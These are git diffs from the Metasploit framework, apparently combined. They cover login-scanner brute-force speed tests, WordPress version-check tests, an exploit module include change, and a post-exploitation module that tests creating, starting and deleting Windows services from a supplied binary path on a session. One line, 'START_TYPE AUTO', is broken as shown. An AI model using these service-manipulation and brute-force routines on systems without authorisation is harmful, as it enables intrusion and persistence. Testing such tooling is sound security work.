@ -12,12 +12,33 @@ describe Metasploit::Framework::LoginScanner::Base do
end end
} }
subject(:login_scanner) { base_class.new } let(:options) {
{
connection_timeout: 1,
cred_details: ["user", "pass"],
host: '1.2.3.4',
port: 4444,
stop_on_success: true,
bruteforce_speed: 5,
}
}
subject(:login_scanner) {
base_class.new(options)
}
it { should respond_to :bruteforce_speed } it { should respond_to :bruteforce_speed }
context 'validations' do context 'validations' do
it 'is valid!' do
expect(login_scanner).to be_valid
end
context 'bruteforce_speed' do context 'bruteforce_speed' do
it 'is not valid for a non-number' do it 'is not valid for a non-number' do
login_scanner.bruteforce_speed = "a" login_scanner.bruteforce_speed = "a"
expect(login_scanner).to_not be_valid expect(login_scanner).to_not be_valid
@ -36,11 +57,17 @@ describe Metasploit::Framework::LoginScanner::Base do
expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0" expect(login_scanner.errors[:bruteforce_speed]).to include "must be greater than or equal to 0"
end end
it 'is nil' do
login_scanner.bruteforce_speed = nil
expect(login_scanner).to be_valid
end
it 'is not greater than five' do it 'is not greater than five' do
login_scanner.bruteforce_speed = "6" login_scanner.bruteforce_speed = "6"
expect(login_scanner).to_not be_valid expect(login_scanner).to_not be_valid
expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5" expect(login_scanner.errors[:bruteforce_speed]).to include "must be less than or equal to 5"
end end
end end
it { should respond_to :sleep_time } it { should respond_to :sleep_time }

View File

@ -91,6 +91,15 @@ describe Msf::HTTP::Wordpress::Version do
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) } it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Detected) }
end end
context 'when version from readme has arbitrary leading whitespace' do
let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' }
let(:wp_body) { 'stable tag: 1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
let(:wp_body) { 'stable tag:1.0.0' }
it { expect(subject.send(:check_version_from_readme, :plugin, 'name', wp_fixed_version)).to be(Msf::Exploit::CheckCode::Appears) }
end
context 'when installed version is vulnerable' do context 'when installed version is vulnerable' do
let(:wp_code) { 200 } let(:wp_code) { 200 }
let(:wp_fixed_version) { '1.0.1' } let(:wp_fixed_version) { '1.0.1' }

View File

@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
# =( need more targets and perhaps more OS specific return values OS specific would be preferred # =( need more targets and perhaps more OS specific return values OS specific would be preferred
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStagerVBS include Rex::Exploitation::CmdStagerVBS
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,

View File

@ -13,7 +13,6 @@ require 'module_test'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::Services include Msf::Post::Windows::Services
include Msf::ModuleTest::PostTest include Msf::ModuleTest::PostTest
def initialize(info={}) def initialize(info={})
@ -22,7 +21,6 @@ class Metasploit3 < Msf::Post
'Description' => %q{ This module will test windows services methods within a shell}, 'Description' => %q{ This module will test windows services methods within a shell},
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => [ 'kernelsmith', 'egypt' ], 'Author' => [ 'kernelsmith', 'egypt' ],
'Version' => '$Revision: 11663 $',
'Platform' => [ 'windows' ], 'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter', 'shell' ] 'SessionTypes' => [ 'meterpreter', 'shell' ]
)) ))
@ -44,19 +42,19 @@ class Metasploit3 < Msf::Post
it "should start #{datastore["SSERVICE"]}" do it "should start #{datastore["SSERVICE"]}" do
ret = true ret = true
results = service_start(datastore['SSERVICE']) results = service_start(datastore['SSERVICE'])
if results != 0 if results != Windows::Error::SUCCESS
# Failed the first time, try to stop it first, then try again # Failed the first time, try to stop it first, then try again
service_stop(datastore['SSERVICE']) service_stop(datastore['SSERVICE'])
results = service_start(datastore['SSERVICE']) results = service_start(datastore['SSERVICE'])
end end
ret &&= (results == 0) ret &&= (results == Windows::Error::SUCCESS)
ret ret
end end
it "should stop #{datastore["SSERVICE"]}" do it "should stop #{datastore["SSERVICE"]}" do
ret = true ret = true
results = service_stop(datastore['SSERVICE']) results = service_stop(datastore['SSERVICE'])
ret &&= (results == 0) ret &&= (results == Windows::Error::SUCCESS)
ret ret
end end
@ -69,24 +67,24 @@ class Metasploit3 < Msf::Post
ret &&= results.kind_of? Array ret &&= results.kind_of? Array
ret &&= results.length > 0 ret &&= results.length > 0
ret &&= results.include? datastore["QSERVICE"] ret &&= results.select{|service| service[:name] == datastore["QSERVICE"]}
ret ret
end end
end end
def test_info def test_info
it "should return info on a given service" do it "should return info on a given service #{datastore["QSERVICE"]}" do
ret = true ret = true
results = service_info(datastore['QSERVICE']) results = service_info(datastore['QSERVICE'])
ret &&= results.kind_of? Hash ret &&= results.kind_of? Hash
if ret if ret
ret &&= results.has_key? "Name" ret &&= results.has_key? :display
ret &&= (results["Name"] == "Windows Management Instrumentation") ret &&= (results[:display] == "Windows Management Instrumentation")
ret &&= results.has_key? "Startup" ret &&= results.has_key? :starttype
ret &&= results.has_key? "Command" ret &&= results.has_key? :path
ret &&= results.has_key? "Credentials" ret &&= results.has_key? :startname
end end
ret ret
@ -94,40 +92,157 @@ class Metasploit3 < Msf::Post
end end
def test_create def test_create
it "should create a service" do it "should create a service #{datastore["NSERVICE"]}" do
mode = case datastore["MODE"] mode = case datastore["MODE"]
when "disable"; 4 when "disable"; START_TYPE_DISABLED
when "manual"; 3 when "manual"; START_TYPE_MANUAL
when "auto"; 2 when "auto"; START_TYPE_AUTO
else; 2 else; START_TYPE AUTO
end end
ret = service_create(datastore['NSERVICE'],datastore['DNAME'],datastore['BINPATH'],mode)
ret ret = service_create(datastore['NSERVICE'],
display: datastore['DNAME'],
path: datastore['BINPATH'],
starttype: mode)
ret == Windows::Error::SUCCESS
end end
it "should return info on the newly-created service" do it "should return info on the newly-created service #{datastore["NSERVICE"]}" do
ret = true ret = true
results = service_info(datastore['NSERVICE']) results = service_info(datastore['NSERVICE'])
ret &&= results.kind_of? Hash ret &&= results.kind_of? Hash
ret &&= results.has_key? "Name" ret &&= results.has_key? :display
ret &&= (results["Name"] == datastore["DNAME"]) ret &&= (results[:display] == datastore["DNAME"])
ret &&= results.has_key? "Startup" ret &&= results.has_key? :starttype
ret &&= (results["Startup"].downcase == datastore["MODE"]) ret &&= (START_TYPE[results[:starttype]].downcase == datastore["MODE"])
ret &&= results.has_key? "Command" ret &&= results.has_key? :path
ret &&= results.has_key? "Credentials" ret &&= results.has_key? :startname
ret ret
end end
it "should delete the new service" do it "should delete the new service #{datastore["NSERVICE"]}" do
ret = service_delete(datastore['NSERVICE']) ret = service_delete(datastore['NSERVICE'])
ret == Windows::Error::SUCCESS
end
end
def test_status
it "should return status on a given service #{datastore["QSERVICE"]}" do
ret = true
results = service_status(datastore['QSERVICE'])
ret &&= results.kind_of? Hash
if ret
ret &&= results.has_key? :state
ret &&= (results[:state] > 0 && results[:state] < 8)
end
ret ret
end end
end end
def test_change
service_name = "a" << Rex::Text.rand_text_alpha(5)
display_name = service_name
it "should modify config on a given service #{service_name}" do
ret = true
results = service_create(service_name,
display: display_name,
path: datastore['BINPATH'],
starttype: START_TYPE_DISABLED)
ret &&= (results == Windows::Error::SUCCESS)
results = service_status(service_name)
ret &&= results.kind_of? Hash
if ret
original_display = results[:display]
results = service_change_config(service_name, {:display => Rex::Text.rand_text_alpha(5)})
ret &&= (results == Windows::Error::SUCCESS)
results = service_info(service_name)
ret &&= (results[:display] != original_display)
service_delete(service_name)
end
ret
end
end
def test_restart_disabled
service_name = "a" << Rex::Text.rand_text_alpha(5)
display_name = service_name
it "should start a disabled service #{service_name}" do
ret = true
results = service_create(service_name,
display: display_name,
path: datastore['BINPATH'],
starttype: START_TYPE_DISABLED)
ret &&= (results == Windows::Error::SUCCESS)
if ret
begin
results = service_restart(service_name)
ensure
service_delete(service_name)
end
ret &&= results
end
ret
end
end
def test_restart_start
service_name = datastore['SSERVICE']
it "should restart a started service #{service_name}" do
ret = true
results = service_start(service_name)
ret &&= (results == Windows::Error::SUCCESS)
if ret
results = service_restart(service_name)
ret &&= results
end
ret
end
end
def test_noaccess
it "should raise a runtime exception if no access to service" do
ret = false
begin
results = service_stop("gpsvc")
rescue RuntimeError
ret = true
end
ret
end
end
def test_no_service
it "should raise a runtime exception if services doesnt exist" do
ret = false
begin
results = service_status(Rex::Text.rand_text_alpha(5))
rescue RuntimeError
ret = true
end
ret
end
end
=begin =begin
def run def run

View File

@ -593,7 +593,7 @@ class Msftidy
# This module then got copied and committed 20+ times and is used in numerous other places. # This module then got copied and committed 20+ times and is used in numerous other places.
# This ensures that this stops. # This ensures that this stops.
def check_invalid_url_scheme def check_invalid_url_scheme
test = @source.scan(/^#.+http\/\/metasploit.com/) test = @source.scan(/^#.+http\/\/(?:www\.)?metasploit.com/)
unless test.empty? unless test.empty?
test.each { |item| test.each { |item|
info("Invalid URL: #{item}") info("Invalid URL: #{item}")